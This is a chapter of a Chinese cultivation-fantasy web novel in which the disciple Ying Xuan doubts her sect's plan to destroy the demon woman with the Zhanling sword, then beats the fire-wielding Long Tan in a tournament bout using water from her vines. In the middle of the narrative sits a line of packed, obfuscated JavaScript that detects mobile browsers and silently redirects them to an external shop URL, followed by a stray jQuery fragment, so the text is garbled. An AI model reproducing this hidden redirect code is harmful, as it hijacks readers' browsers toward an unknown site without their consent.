比试台周围,各个长老门下的弟子都依次入场,难得齐聚,大家的热情高涨,不高不低的喧闹声此起彼伏。
柳百词应和了一圈的加油助威声,向冷翘讨要了个祝福,心满意足走到候场位,却见应璇愣神一声不吭地站在角落,与周围人格格不入。
“小师妹?”
他连着叫唤两声,在她肩头轻点,应璇慢半拍地扭头,眼神尚涣散。
“小师妹,你今日不在状态啊?”柳百词摘下腰间的祈福络子,大方地递给她,“莫不是害怕一会儿的比试?你放心,若我们对上了,我定与你打个平手。若你实在输于我,我嘛,也会留余地,不会让你难堪的!”
应璇抿唇,语气温吞,将他的手推回去,拒绝道:“师兄有心了,这个我不能要。”
柳百词坦然挂回去,“好吧,你若对上其他人,处处小心。宗内弟子对乾坤问道比试十分看重,都会铆足了劲下死手,每年伤亡不少呢。”
人群中有人高喊:“掌门来了!”
他们循声看去,仙鹤落在屋顶,晏晦明一身玄色暗纹锦袍,清朗漠然,甩袖背手从高空飞落,落座至尊位,三位长老紧随其后,从四面八方降至长老席。
弟子们皆躬身作揖,“拜见掌门、长老们!”
茱萸伸手现出一卷卷轴,众人息声,齐刷刷看向她,“自华真宗建立以来,至今以有数百年,除魔卫道,不曾违心。几十年前,魔女在华真宗的主力攻打下被打散魂魄,成功封印,然而,此女天生混玉之体,不甚安分,她魂在一时,便有重归之日,此次乾坤问道比试,胜出的五位,将随掌门一起,再取斩灵剑,彻底将魔女之魂斩灭……”
应璇神色微动,侧身问:“又是斩灵剑,不是已用斩灵剑杀过她一次了么?”
柳百词诚心说道:“斩灵剑是上古神器,可斩灭万物,对妖、仙和魔这些寿命绵长的种族来说,一斩,陨灭肉身、劈散魂魄,二斩,斩断轮回,再不得投胎转世。尤其是魔女,她是混玉的载体,当年一斩,她尚未断了生机。这些年魔族虽安定一时,但四处替她找寻凝魂聚魄的法子,几个结界都出现了裂痕的前兆。”
他顿了口气,“斩灵剑,可是混玉的克星呢。”
“一个女子,竟能让一群修士惊恐至此,”应璇低声嗫喏,“一定要将她赶尽杀绝,这真的算得上是正道吗?”
“呸呸呸。”柳百词捂住她嘴,瞪大眼睛一脸惊慌,“其实也是有风险的,这斩灵剑同样是良玉的克星,若非良玉与混玉两者不能共存,我们也不会紧紧相逼,我们不去取剑,自有人想方设法去取,到时把掌门给——”
他做了一个抹脖子的动作,继续道:“那世间便会失衡,彻底成了妖魔的天下了。”
应璇敛眸思索,在百姓和修士们眼中,他们是普照大地的阳光、浇淋大地的甘霖,唯有保下良玉,才能真正维护世间安宁,妖魔即恶,扰乱秩序,该死。
她有一身干净的灵力,是修仙的好苗子,站在他们的队伍里却无法认同他们的观念。
世界诞生时,难道世上只有人类吗?
虫鱼鸟兽、妖魔鬼怪以及神仙,为何非得割据一方,争执不休,纷乱不断。
他们欺负草木不会说话,江河湖海没有手脚。
思忖着,应璇目光飘向台上的晏晦明,一个想法在心中落定,他好像是那个罪魁祸首呢。
她无欲无求的眸子重新亮起来,“那岂不是,谁得了斩灵剑,谁就有了掌控这个世界运行规则的资本?”
自进入华真宗,应璇一直觉得自己像燃烬的柴火,没了用武之地,但此刻,她对比试的兴趣如春风过境,将未灭的火星给重新吹燃。
柳百词随口答:“是啊。”
一些自我盘算的想法在心底交织,听着比试开始的锣鼓响,应璇沉心看向高台。
柳百词、冷翘接连从身侧飞上台又摘得胜利的红绸落下。
一位比试的十人中,胜出的五人几乎都在半柱香内结束了比试。
应璇注意到,沈成溪甚至全程都未出过剑,仅凭一只手便制服了对手。
二位比试抽签过后,一一进行了十二场。
许是宗门内的比试,大多弟子用的武器都是剑,虽拜在不同长老门下,风格有些差异,但总的来说,比试并无过多悬念,多的是显而易见的境界压制,当签上的名字显现,比试的结果便已出分晓,剩下的不过是台上的殊死搏斗,不甘心罢了。
应璇把手帕递给柳百词,“师兄,借一借你的好运!”
柳百词和她痛快交掌一下,却感觉脖子上凉飕飕的,斜眼往远处一看,晏晦明的目光正紧紧锁在她这。
她心口一凉,慌忙和龙潭一并上台重新抽签,加入第三轮比试。
一眼瞧见签上的名字,她将木签捏在手心,攒出了汗意。
龙潭自在地掀开签面,歪唇嘲弄地看向她,“应璇,看来老天也在助我,一会儿,你可别哭。”
应璇冷眼瞧他,不作回应,转身走到候场位落座。
他们被排在最后一场,只得耐心等候。
前六场打得精彩绝伦——柳百词受了重伤,险胜;冷翘将曾嘲笑她的师兄打了个屁滚尿流,对方面子掉了一地;沈成溪仍未出剑,或许是绝对自信,面向对手的激语也淡然自若,最终背身赢得了对手的盲眼倒地……
轮到应璇和龙潭二人上场时,众人的期待值拉到了最满。
唯独柳百词忧心忡忡,“龙潭擅用火,小师妹拿的是把木属性的剑,她被克制,很难取胜啊。”
冷翘淡然瞧着,“别急着下定论。”
两人登台那刻,香条自动燃起。
应璇转腕,青苒剑现出,她张指紧握,诚诚恳恳地作揖,然龙潭已等候不及,连起码的打斗礼节都失了,扬起手中如斧头般的粗剑,飞跃而起,腾空朝着她头顶正上方劈来。
粗鄙无礼,应璇腹诽,眼中却已预估到他剑锋的走势,扭腕带动剑身往头上一转,圆身一划,借机朝龙潭的剑侧反劈而去。
谁知,龙潭向后一倒,双手合十交握住剑柄,抵力相搏。
“滋——”
两剑相擦,他在上,横身猛进,她在下,退腿后仰。
单凭臂力,这样下去,他靠蛮力将她逼退至擂台下,只是时间问题。
应璇干脆大幅后仰往前滑行,龙潭的剑骤然劈空,再回身,她已腾身旋转,反压至他上方,她的剑力绵柔,于对手来说,论她如何戳刺,也如挠痒痒一般。
剑直对着他喉管刺来,龙潭也无所谓地站定,而后交握双手狠挥出剑,一道狠厉的剑风横来,应璇瞳孔放大,呼吸间,立即唤出剑意,长藤延展,如钩子挂住了龙潭的剑。
那剑风将她劈至围挡的护栏,险些就要掉下去。
她侧头瞥了眼几米的高度,松了口气回身站直。
龙潭烦躁地“啧”了一声,沉肩踏地,他周身便燃起了腾腾火焰,那焰势沿着剑身窜走,直烧青藤,“唰啦”,那条粗壮的藤蔓吃痛地蜷起,猛地缩回剑中。
他得意地笑道:“你这些烦人的藤蔓还是别放出来了,胆子跟你一样小,要是我火势没控制好,将它烧了个精光……”
“好歹你要唤我一句师兄,现在求饶,我可以放你一马。”
应璇将打斗的喘息压下,回身往晏晦明那看了一眼。
“怎么?想求助掌门啊?这可不合规矩哦。”龙潭贱嗖嗖地挑衅她,“你不如自己走下台弃权,省得被我烧得灰头土脸。”
应璇一言不发,将剑横悬至身前。
昨夜晏晦明将她赶至门外后,恰巧被小统逮了个正着,她纠结一二,拗不过被小统拖去睡觉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628624|203465||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
偏偏,她心中担忧之事,引得晏晦明入梦。
梦里,他细致地给她讲解了每一位弟子的优势与弱点,手把手逐一教她应对之策。
其中,龙潭的优劣势最为明显,他性格张扬,不懂得收敛和隐藏自身,他的火剑状态最饱满时,可烧毁一山灵木,如果被他吓退,必输无疑。
反之,树木之源本就是水,为应对天灾人祸,发达的根系早就储存了大量的水分。
既然无法强行引天地之水,那便用自身之水,来破了对方的火。
只是,应璇不确定,梦是否和现实相反。
一旦失败……
不能再等了。
应璇迈步起势,回忆起脑海中的渡水诀,剑身在口诀下慢腾腾地转动起来。
龙潭见她久久不出招,急躁地旋剑扎来,在逼近的刹那,数个叶苞绽开,扭缠着连接在一起,形成一堵巨大的绿伞,他的剑刺入叶内,被缠入其中,动弹不得。
他咬紧牙根,面部狰狞,随即,火苗冒出剑身,热气游弋至伞面,不管不顾地燃起,繁茂的叶身在众人眼底被火舌吞噬,毒蛇似朝四方扩散而去,火燎之处,枝叶枯黄。
“怎么办啊?小师妹明知对方用火,为何还唤出青藤。这不是眼睁睁看着自己被烧吗?”柳百词急得直跺脚,恨不得自己能上台撒一把土灭了龙潭的火势。
冷翘像看穿了端倪,默声摇头,对他比了个嘘的手势。
少顷,腾腾火焰已然将应璇包裹,龙潭的剑直逼至应璇颈脉,他狂妄一笑,加重破开她防护的力道,“强弩之末,别硬撑了。”
然而,应璇静握剑柄,指尖有一下没一下地轻点,紧闭的双眼倏然睁开,扯唇淡瞥他一眼,“就是此刻。”
弹指间,那些枯萎的叶片蜷缩起来,现出软趴疲软的枝干,青苒剑“嗡嗡”剧烈抖动起来,一股强大的灵力自脚下的土地往上攀升,青翠的灵光由四面八方聚集而来,顺着那些濒死的枯枝一路向上。
一如血液泵送,它们吸饱了水分似,变得饱涨,膨大。
龙潭瞪直了眼,还未看清变化,就见应璇把住剑柄,提剑朝那些维护自己的枝干劈了去。
“噗呲——”
一条青藤破开了一个小口,水液迸溅而出,紧接着,数百根藤条也破开一个又一个口子,顷刻间,水花如暴雨倾浇而下。
应璇借水聚力,剑端引出一条有冲天之势的水柱,跃身带动水柱朝龙潭那狠劈而去。
龙潭躲闪不及,急急后退,挥剑盲斩,然而,那根水柱在逼退他的同时,凝成一条白龙,张牙朝他嘶吼,“轰隆隆——”
天雷作响,雨漫天而落,龙潭跑到哪,雨便淋到哪。
直至他的剑再也唤不出火意,应璇腾空,朝他挥去最后一剑。
“啪嗒。”
剑从他手里脱手飞落至台下,沿着台阶滚动几圈,毫无生气地躺在地上,冒着被强行灭火后的白蒸汽。
龙潭不敢置信,举着双手左右后退,在她的步步靠近下跌倒在地,和那日在古树旁一样,只是位置对换,他成了阶下囚。
应璇自上而下地望着他,剑端抵住他心口,面无表情,语气轻淡,“急者多败,忍者自成。”
“师兄,你输了。”
下一刻,她刺入他胸口,将他挑至台下。
龙潭自高空被甩下,众人纷纷后退,让出一块空地,眼见他砸地不起,终于意识到,应璇胜了。
数道响彻云霄的掌声如云翻涌。
应璇蹭去下巴的汗,虚脱地瘫下身去,单膝执剑跪地。
至此,已胜出七人。
她小口小口地喘着气,眼前蓦然落下一块阴影,一只手伸向她眼前,掌心宽厚,五指修长,蕴实而有力。
只是,那如火焰般赤红的掌纹,她从未见过。